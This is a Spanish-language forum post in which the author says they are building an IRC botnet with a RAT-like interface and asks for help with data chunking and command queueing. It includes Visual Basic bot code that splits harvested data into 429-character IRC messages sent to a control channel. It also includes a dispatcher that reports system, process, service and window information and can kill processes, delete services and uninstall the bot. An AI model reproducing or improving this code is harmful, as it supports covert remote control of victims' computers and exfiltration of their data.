Bueno, me explico, estoy haciendo una botnet IRC con interfaz usuario (parecido a un RAT) y tengo algunos problemas en el envio de datos, el protocolo IRC me limita bastante e intento escapar como puedo de esas limitaciones. Uno de mis primeros problemas es el envio de datos, yo envio los datos partiendolo en 429 carácteres, ya que los mensajes en los canales IRC no permiten mas.. por lo tanto mi método de envio es así :
Public Function Split_Data(ByVal Total_Data As String, ByVal Channel As String)
Dim lData As Long
Dim lPack As Long
Dim sData As String
'Total_Data = "[E]" & Huffman.EncodeString(Total_Data)
lData = Len(Total_Data)
If s_Active = True Then
If lData > 429 Then
lPack = (Len(Total_Data) / 429) + 1
While p < lPack
If s_Active = True Then
If p = 0 Then
sData = Mid$(Total_Data, 1, 429)
Else
sData = Mid$(Total_Data, p * 429, 429)
End If
Wait 2
mSock.SendData mSock.CurrentSocketHandle, "PRIVMSG " & Channel & " " & sData & vbCrLf
p = p + 1
DoEvents
End If
Wend
Else
Wait 2
mSock.SendData mSock.CurrentSocketHandle, "PRIVMSG " & Channel & " " & Total_Data & vbCrLf
End If
End If
p = 0
End Function
Todo bien, lo que quiero resaltar es ese entero llamado p (numero de paquetes) que lo uso aparte de para ir contando los paquetes de 429 carácteres, lo uso para saber si todavía sigue enviando datos, porque las funciones cuando el servidor las recibe las pongo como en una especie de cola ejecutandose en un nuevo 'thread' :
Public Function set_Timer(ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
If p = 0 Then
Call KillTimer(hWnd, uElapse)
Select Case uElapse
Case 1: Sender_Info (s_Chan)
Case 2: Sender_TotalInfo (s_Chan)
Case 3: Sender_Process (s_Chan)
Case 4: Terminate_Process (Command(2))
Case 5: Sender_Services (s_Chan)
Case 6: Start_Service (Command(2))
Case 7: Stop_Service (Command(2))
Case 8: Delete_Service (Command(2))
Case 9: Restart_BOT
Case 10: Close_BOT
Case 11: Uninstall_BOT
Case 12: Sender_Windows (s_Chan)
'Case 13: Close_Window (Command(2))
'Case 14: Hide_Window (Command(2))
'Case 15: Maximize_Window (Command(2))
'Case 16: Minimize_Window (Command(2))
'Case 17: Show_Window (Command(2))
End Select
End If
End Function
Como véis la p la uso como identificador para saber si sigue enviandose la anterior función para poder seguir con la siguiente... mi problema es que la p a veces (cuando el cliente envia muchas funciones seguidas) me falla como identificador y se para la acción anterior, envia la siguiente o simplemente hace un exceso de flood en el IRC.. no se me ocurre ningún identificador para eso.
Ese era mi primer problema, mi segundo problemilla (me interesa primero el anterior para resolver) es la lentitud de envio, sabiendo que envia solo 429 carácteres en cada paquete de envio y tiene que enviar mucha información, no sabría como saltarme ese limite de otra forma.
Saludos! =)
Revivo el tema que se me va para abajo =( xDD